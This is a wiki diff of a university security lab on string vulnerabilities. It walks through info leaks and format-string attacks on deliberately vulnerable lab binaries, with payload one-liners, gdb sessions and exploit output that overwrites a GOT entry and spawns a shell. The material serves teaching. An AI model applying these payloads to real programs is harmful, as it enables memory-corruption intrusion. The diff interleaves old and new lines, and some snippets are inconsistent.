Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-07 [2020/11/22 19:39]
dennis.plosceanu [Extra: Format String Attack]
cns:labs:lab-07 [2022/11/21 14:29] (current)
mihai.dumitru2201 [Basic Format String Attack]
Line 1: Line 1:
-====== Lab 07 - Strings ======+====== Lab 07 - Strings ====== ​
  
-===== Resources =====+===== Tasks repository ​====
  
-  * [[http://​www.cert.org/​books/​secure-coding/​|Secure Coding ​in C and C++]] +All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. 
-  * [[http://​www.informit.com/​articles/​article.aspx?​p=2036582|String representation in C]] +
-  * [[https://​www.owasp.org/​index.php/​Improper_string_length_checking|Improper string length checking]] +
-  * [[http://​cwe.mitre.org/​data/​definitions/​134.html|Format String definition]],​ [[https://​www.owasp.org/​index.php/​Format_string_attack|Format String Attack ​ (OWASP)]], [[http://​projects.webappsec.org/​w/​page/​13246926/​Format%20String|Format String Attack (webappsec)]] ​  +
-  * [[http://​www.gratisoft.us/​todd/​papers/​strlcpy.html|strlcpy and strlcat - consistent, safe, string copy and concatenation.]] This resource is useful to understand some of the string manipulation problems. +
- +
-===== Lab Support Files ===== +
- +
-We will use this [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]] throughout the lab. +
- +
-Please download the lab archive an then unpack it using the commands below: +
-<code bash> +
-student@mjolnir:​~$ wget http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz +
-student@mjolnir:​~$ tar xzf lab-07.tar.gz +
-</​code>​ +
- +
-After unpacking we will get the ''​lab-07/''​ folder that we will use for the lab: +
-<code bash> +
-student@mjolnir:​~$ cd lab-07/ +
-student@mjolnir:​~/​lab-07$ ls +
-basic-format-string ​ basic-info-leak +
-format-string ​ info-leak +
-printf-features ​ string-shellcode +
-</​code>​+
  
 ===== Intro ===== ===== Intro =====
Line 60: Line 37:
 We can test this using: We can test this using:
 <​code>​ <​code>​
-$ python -c 'print("​A"​*32)'​ | ./​basic_info_leak ​+$ python -c 'import sys; sys.stdout.buffer.write(b"​A"​*32)'​ | ./​basic_info_leak ​
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8� AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�8�
 </​code>​ </​code>​
Line 66: Line 43:
 In order to check the hexadecimal values of the leak, we pipe the output through ''​xxd'':​ In order to check the hexadecimal values of the leak, we pipe the output through ''​xxd'':​
 <​code>​ <​code>​
-$ python -c 'print("​A"​*32)'​ | ./​basic_info_leak | xxd+$ python -c 'import sys; sys.stdout.buffer.write(b"​A"​*32)'​ | ./​basic_info_leak | xxd
 00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000000: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
 00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA 00000010: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
Line 152: Line 129:
 $ gdb -q ./info_leak $ gdb -q ./info_leak
 Reading symbols from ./​info_leak...done. Reading symbols from ./​info_leak...done.
-gdb-peda$ b printf+gdb-peda$ b my_main
 Breakpoint 1 at 0x400560 Breakpoint 1 at 0x400560
 gdb-peda$ r < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​) gdb-peda$ r < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​)
 Starting program: info_leak < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​) Starting program: info_leak < <(python -c '​import sys; sys.stdout.write(32*"​A"​)'​)
 [...] [...]
 +
 +# Do next instructions until after the call to printf.
 +gdb-peda$ ni
 +....
  
 gdb-peda$ x/12g name gdb-peda$ x/12g name
Line 204: Line 185:
  
 <note tip> <note tip>
-Same as above, use ''​nm''​ to determine address of the ''​my_evil_func()''​ function.+Same as above, use ''​nm''​ to determine address of the ''​my_evil_func()''​ function.  
 +When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:​resources:​repo|the CNS public repository]].
 </​note>​ </​note>​
  
Line 216: Line 198:
  
 <note tip> <note tip>
-In case of a successful exploit the program will return with the ''​42''​ error code in the ''​my_evil_func()''​ function, same as below:+In case of a successful exploit the program will spawn a shell in the ''​my_evil_func()''​ function, same as below:
 <​code>​ <​code>​
 $ python exploit.py ​ $ python exploit.py ​
Line 223: Line 205:
 [*] old_rbp is 0x7fffffffdd40 [*] old_rbp is 0x7fffffffdd40
 [*] return address is located at is 0x7fffffffdd38 [*] return address is located at is 0x7fffffffdd38
-[*] Process '​./​info_leak'​ stopped with exit code 42 (pid 6422)+[*] Switching to interactive mode 
 +Returning from main! 
 +$ id 
 +uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
 </​code>​ </​code>​
 </​note>​ </​note>​
Line 281: Line 266:
 ==== Basic Format String Attack ==== ==== Basic Format String Attack ====
  
-You will now do a basic format string attack using the ''​basic-format-string/''​ subfolder ​in the [[http://​elf.cs.pub.ro/​oss/​res/​labs/​lab-07.tar.gz|lab archive]]. The source code is in ''​basic_format_string.c''​ and the executable is in ''​basic_format_string''​.+You will now do a basic format string attack using the ''​03-basic-format-string/''​ subfolder. The source code is in ''​basic_format_string.c''​ and the executable is in ''​basic_format_string''​.
  
-You need to use ''​%n''​ to overwrite the value of the ''​v''​ variable to ''​200''​. You have to do three steps:+You need to use ''​%n''​ to overwrite the value of the ''​v''​ variable to ''​0x300''​. You have to do three steps:
   - Determine the address of the ''​v''​ variable using ''​nm''​.   - Determine the address of the ''​v''​ variable using ''​nm''​.
   - Determine the ''​n''​-th parameter of ''​printf()''​ that you can write to using ''​%n''​. The ''​buffer''​ variable will have to be that parameter; you will store the address of the ''​v''​ variable in the ''​buffer''​ variable.   - Determine the ''​n''​-th parameter of ''​printf()''​ that you can write to using ''​%n''​. The ''​buffer''​ variable will have to be that parameter; you will store the address of the ''​v''​ variable in the ''​buffer''​ variable.
-  - Construct a format string that enables the attack; the number of characters processed by ''​printf()''​ until ''​%n''​ is matched will have to be ''​200''​.+  - Construct a format string that enables the attack; the number of characters processed by ''​printf()''​ until ''​%n''​ is matched will have to be ''​0x300''​.
  
 For the second step let's run the program multiple times and figure out where the ''​buffer''​ address starts. We fill ''​buffer''​ with the ''​aaaa''​ string and we expect to discover it using the ''​printf()''​ format specifiers. For the second step let's run the program multiple times and figure out where the ''​buffer''​ address starts. We fill ''​buffer''​ with the ''​aaaa''​ string and we expect to discover it using the ''​printf()''​ format specifiers.
Line 313: Line 298:
 </​code>​ </​code>​
  
-We need that number to be ''​200''​. You can fine tune the format string by using a construct such as ''​%32llx''​ to print a number on ''​32''​ characters instead of a maximum of ''​16''​ characters. See how much extra room you need and see if you reach ''​200''​ bytes.+We need that number to be ''​0x300''​. You can fine tune the format string by using a construct such as ''​%32llx''​ to print a number on ''​32''​ characters instead of a maximum of ''​16''​ characters. See how much extra room you need and see if you reach ''​0x300''​ bytes.
  
 <note important>​ <note important>​
Line 321: Line 306:
 After the plan is complete, write down the attack by filling the ''​TODO''​ lines in the ''​exploit.py''​ solution skeleton. After the plan is complete, write down the attack by filling the ''​TODO''​ lines in the ''​exploit.py''​ solution skeleton.
  
-After you write 200 chars in v, you should obtain shell+/* 
 +<note tip> 
 +When sending your exploit to the remote server, adjust this address according to the binary running on the remote endpoint. The precompiled binary can be found in [[cns:​resources:​repo|the CNS public repository]]. 
 +</​note>​ 
 +*/ 
 + 
 +After you write 0x300 chars in v, you should obtain shell
 <​code>​ <​code>​
-$ python ​exploit64.py +$ python ​exploit.py 
 [!] Could not find executable '​basic_format_string'​ in $PATH, using '​./​basic_format_string'​ instead [!] Could not find executable '​basic_format_string'​ in $PATH, using '​./​basic_format_string'​ instead
 [+] Starting local process '​./​basic_format_string':​ pid 20785 [+] Starting local process '​./​basic_format_string':​ pid 20785
Line 384: Line 375:
 By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine where the buffer starts By trial and error or by using GDB (breakpoint on ''​printf''​) we can determine where the buffer starts
 <code bash> <code bash>
-$ ./format "​$(python -c 'print("​ABCD"​ + "​%08x\n ​  "​ * 200'​)" ​ | grep -n 41 | head+$ ./format "​$(python -c 'import sys; sys.stdout.buffer.write(b"​ABCD"​ + b"​%08x\n ​  "​ * 0x300)'​)" ​ | grep -n 41 | head
 10:   ​ffffc410 10:   ​ffffc410
 52:   ​ffffcc41 52:   ​ffffcc41
Line 403: Line 394:
 pad = b"​ABCD"​ pad = b"​ABCD"​
 val_fmt = b"​%08x\n ​  "​ val_fmt = b"​%08x\n ​  "​
-fmt = pad + val_fmt * stack_items+# add a \n at the end for consistency with the command line run 
 +fmt = pad + val_fmt * stack_items ​+ b"​\n"​
  
 io = process(["​./​format",​ fmt]) io = process(["​./​format",​ fmt])
Line 413: Line 405:
  
 <​code>​ <​code>​
-python2 ​exploit.py+python ​exploit.py
 </​code>​ </​code>​
 </​note>​ </​note>​
Line 421: Line 413:
 We can compress our buffer by specifying the position of the argument. We can compress our buffer by specifying the position of the argument.
 <code bash> <code bash>
-$ ./format $(python -c 'print("​ABCD"​ + "​AAAAAAAA"​ * 199 + "​%175$08x"​)'​)+$ ./format $(python -c 'import sys; sys.stdout.buffer.write(b"​ABCD"​ + b"​AAAAAAAA"​ * 199 + b"​%175$08x"​)'​)
 ABCDAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAA44434241 ABCDAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAA44434241
 This is the most useless and insecure program! This is the most useless and insecure program!
 </​code>​ </​code>​
  
-<note warning>''"​AAAAAAAA"​ * 199''​ is added to maintain the length of the original string, otherwise the offset might change.</​note>​ +<note warning>''​b"​AAAAAAAA"​ * 199''​ is added to maintain the length of the original string, otherwise the offset might change.</​note>​ 
-You can see that the last information is our "​ABCD"​ string printed with ''​%08x''​ this means that we know where our buffer is.+You can see that the last information is our b"​ABCD"​ string printed with ''​%08x''​ this means that we know where our buffer is.
  
 <note tip> <note tip>
Line 457: Line 449:
 We can replace ''​%08x''​ with ''​%n''​ this should lead to segmentation fault. We can replace ''​%08x''​ with ''​%n''​ this should lead to segmentation fault.
 <code bash> <code bash>
-$ ./format "​$(python -c 'print("​ABCD"​ + "​AAAAAAAA"​ * 199 + "​%175$08n"'​)"​+$ ./format "​$(python -c 'import sys; sys.stdout.buffer.write(b"​ABCD"​ + b"​AAAAAAAA"​ * 199 + b"​%175$08n"​)'​)"​
 Segmentation fault (core dumped) Segmentation fault (core dumped)
 $ gdb ./format -c core $ gdb ./format -c core
Line 477: Line 469:
 Bingo. We have memory write. The vulnerable code tried to write at the address ''​0x44434241''​ ("​ABCD"​ little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''​printf''​ (''"​ABCD"​ + 199 * "​AAAAAAAA"''​). Bingo. We have memory write. The vulnerable code tried to write at the address ''​0x44434241''​ ("​ABCD"​ little endian) the value 1596. The value 1596 is the amount of data wrote so far by ''​printf''​ (''"​ABCD"​ + 199 * "​AAAAAAAA"''​).
  
-Right now, our input string has 1604 bytes. But we can further compress it, thus making the value that we write independent of the length of the input.+Right now, our input string has 1605 bytes (1604 with a ''​\n''​ at the end). But we can further compress it, thus making the value that we write independent of the length of the input.
  
 <code bash> <code bash>
-$ ./format "​$(python -c 'print("​ABCD"​ + "​A"​ * 1588 + "​%99x"​ + "​%126$08n"​)'​)"​+$ ./format "​$(python -c 'import sys; sys.stdout.buffer.write("​ABCD"​ + "​A"​ * 1588 + "​%99x"​ + "​%126$08n"​)'​)"​
 Segmentation fault (core dumped) Segmentation fault (core dumped)
 $ gdb ./format -c core $ gdb ./format -c core
Line 494: Line 486:
 Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on. Remember, we want to write a value to a certain address. So far we control the address, but the value is somewhat limited. If we want to write 4 bytes at a time we can make use of the endianess of the machine. **The idea** is to write at the address n and then at the address n+1 and so on.
  
-Lets first display the address. We are using the address ''​0x804c008''​. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts.+Lets first display the address. We are using the address ''​0x804c014''​. This address is the address of the got entry for the puts function. Basically, we will override the got entry for the puts.
  
-<code bash> +Check the ''​exploit.py'' ​script from the task directory, read the commends and understand what it does.
-$ objdump -R ./format | grep puts +
-0804a008 R_386_JUMP_SLOT ​  ​puts +
-$ ./format "​$(python -c 'print "​\x08\xa0\x04\x08"​ + "​\x09\xa0\x04\x08"​ + "​\x0a\xa0\x04\x08"​ + "​\x0b\xa0\x04\x08"​ + "​A"​ * 498 + "​%255x|"​ + "​%126$08x"​ + "​%255x|"​ + "​%127$08x"​ + "​%255x|"​ + "​%128$08x"​')" +
- +
- +
-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ​... +
-0|0804a008 +
-f7e2a4d3|0804a009 +
-2|0804a00a +
-ffffd2c4|0804a00b +
-                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            This is the most useless and insecure program! +
- +
-</​code>​ +
-Why are we printing 498 ''​A''​s?​ We added 12 bytes before our format and 6 extra bytes for the output -- the ''​|''​ is there only for pretty print. We want to keep in place the first argument -- anyway, you should always check this.+
  
-Lets replace the ''​%x''​ with ''​%n''​ 
 <code bash> <code bash>
-$ ./format ​"​$(python -c 'print "​\x08\xa0\x04\x08"​ + "​\x09\xa0\x04\x08"​ + "​\x0a\xa0\x04\x08"​ + "​\x0b\xa0\x04\x08"​ + "​A"​ * 498 + "​%255x|"​ + "​%126$08n"​ + "​%255x|"​ + "​%127$08n"​ + "​%255x|"​ + "​%128$08n"​ + "​%255x|"​ + "​%129$08n"'​)"​ +python exploit.py 
-$ gdb ./​format ​-c core +[*] 'format'​ 
-Program terminated with signal 11, Segmentation fault. +    ​Arch: ​    i386-32-little 
-#0  0x02020202 in ?? () +    ​RELRO: ​   Partial RELRO 
-(gdb) x/x 0x0804a000 +    ​Stack: ​   No canary found 
-0x804a000 <​printf@got.plt>​: 0xf7e5ded0 +    ​NX: ​      NX enabled 
-(gdbx/x 0x0804a004 +    PIE     No PIE (0x8048000
-0x804a004 <​fwrite@got.plt>: 0x08048396 +[+] Starting local process './​format'​pid 29030 
-(gdb) x/x 0x0804a008 +[*] Switching to interactive mode 
-0x804a008 <​puts@got.plt>:​ 0x02020202 +[*] Process './​format'​ stopped with exit code 0 (pid 29030
-(gdbx/x 0x0804a00c +\x14\x04\x15\x04\x17\x04\x18\x04 804c014 ​ 804c015 ​ 804c017 ​ 804c018 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..
-0x804a00c <​__gmon_start__@got.plt>:​ 0x08000006 +This is the most useless and insecure program!
-(gdb) +
 </​code>​ </​code>​
  
-In the gdb session above you can see: +The output ​starts with ''​\x14\x04\x15\x04\x17\x04\x18\x04 804c014 ​ 804c015 ​ 804c017 ​ 804c018''​ which is the 4 addresses ​we have written (raw, little endian) followed by the numerical prints done with ''​%x''​ of the same addresses.
-  - the got entry for printf points to a library address (the address ​starts with 0xf) +
-  - the got entry for fwrite points to some code inside the binary. This means that the function wasn't yet called, the loader didn't load this address yet. +
-  - the puts entry points to 0x02020202. This is the value that we wrote.+
  
-**How come we wrote the first ''​0x02''​?** +If you have the same output it means that now, if you replace ​''​%x'' ​with ''​%n''​ (change ''​fmt ​write_fmt''​ in the script) it will try to write something at those valid addresses.
-Just before executing the first ''​%n'' ​the vulnerable code printed 770 (4*4+498+256) bytes and hex(770) ​== 0x302.+
  
-**How come the rest of the bytes are ''​0x02''?​** +We want to put the value ''​0x080491a6''​.
-After executing the first ''​%n''​ we printed another 256 bytes before each ''​%n''​ so we actually wrote 0x402, 0x502 and 0x602. You can see that the last three bytes ''​%%__gmon_start__@got.plt%%''​ are ''​0x000006''​. +
- +
-We want to put the value ''​0x08048494''​.+
 <code bash> ​ <code bash> ​
 $ objdump -d ./format | grep my_evil $ objdump -d ./format | grep my_evil
-08048494 ​<​my_evil_func>:​ +080491a6 ​<​my_evil_func>:​
-</​code>​ +
-The first byte is ''​0x94''​ (little endian), recall that we were able to write ''​0x02'',​ writing ''​0x94''​ means replacing first 255 with 255-(0x102-0x94) == 145. +
-<code bash> +
-$ ./format "​$(python -c 'print "​\x08\xa0\x04\x08"​ + "​\x09\xa0\x04\x08"​ + "​\x0a\xa0\x04\x08"​ + "​\x0b\xa0\x04\x08"​ + "​A"​ * 498 + "​%145x|"​ + "​%126$08n"​ + "​%255x|"​ + "​%127$08n"​ + "​%255x|"​ + "​%128$08n"​ + "​%255x|"​ + "​%129$08n"'​)"​ +
-$ gdb ./format -c core +
-#0  0x94949494 in ?? () +
-(gdb) quit +
-</​code>​ +
-The next byte that we want to write is ''​0x84''​ so we need to replace 255 with 235. We can continue this idea until we profit. +
-<code bash> +
-$ ./format "​$(python -c 'print "​\x08\xa0\x04\x08"​ + "​\x09\xa0\x04\x08"​ + "​\x0a\xa0\x04\x08"​ + "​\x0b\xa0\x04\x08"​ + "​A"​ * 498 + "​%145x|"​ + "​%126$08n"​ + "​%239x|"​ + "​%127$08n"​ + "​%127x|"​ + "​%128$08n"​ + "​%259x|"​ + "​%129$08n"'​)"​ | tr -s ' ' > /dev/null +
-I'm evil, but nobody calls me :-(+
 </​code>​ </​code>​
 +<note important>​
 +As ''​%n''​ writes how many characters have been printed until it is reached, each ''​%n''​ will print an incrementally larger value.
 +We use the 4 adjacent adressess to write byte by byte and use overflows to reach a lower value for the next byte.
 +For example, after writing ''​0xa6''​ we can write ''​0x0191'':​
 +
 +{{cns:​labs:​bytes_write.png?​500}}
 +
 +Also, the ''​%n''​ count doesn'​t reset so, if we want to write ''​0xa6''​ and then ''​0x91''​ the payload should be in the form of:
 +
 +''<​0xa6 bytes>​%n<​0x100 - 0xa6 + 0x91 bytes>​%n''​
 +
 +As mentionet earlier above, instead writing N bytes ''"​A"​ * N''​ you can use other format strings like ''​%Nc''​ or ''​%Nx''​ to keep the payload shorter.
 +</​note>​
  
 **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled). **[1p] Bonus task** Can you get a shell? (Assume ASLR is disabled).
Line 576: Line 546:
   * Pidgin off the record plugin [[http://​www.cvedetails.com/​cve/​CVE-2012-2369|CVE-2012-2369]]. The fix is [[https://​bugzilla.novell.com/​show_bug.cgi?​id=762498#​c1|here]]   * Pidgin off the record plugin [[http://​www.cvedetails.com/​cve/​CVE-2012-2369|CVE-2012-2369]]. The fix is [[https://​bugzilla.novell.com/​show_bug.cgi?​id=762498#​c1|here]]
  
 +===== Resources =====
 +
 +  * [[http://​www.cert.org/​books/​secure-coding/​|Secure Coding in C and C++]]
 +  * [[http://​www.informit.com/​articles/​article.aspx?​p=2036582|String representation in C]]
 +  * [[https://​www.owasp.org/​index.php/​Improper_string_length_checking|Improper string length checking]]
 +  * [[http://​cwe.mitre.org/​data/​definitions/​134.html|Format String definition]],​ [[https://​www.owasp.org/​index.php/​Format_string_attack|Format String Attack ​ (OWASP)]], [[http://​projects.webappsec.org/​w/​page/​13246926/​Format%20String|Format String Attack (webappsec)]]  ​
 +  * [[http://​www.gratisoft.us/​todd/​papers/​strlcpy.html|strlcpy and strlcat - consistent, safe, string copy and concatenation.]] This resource is useful to understand some of the string manipulation problems.
cns/labs/lab-07.1606066783.txt.gz · Last modified: 2020/11/22 19:39 by dennis.plosceanu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0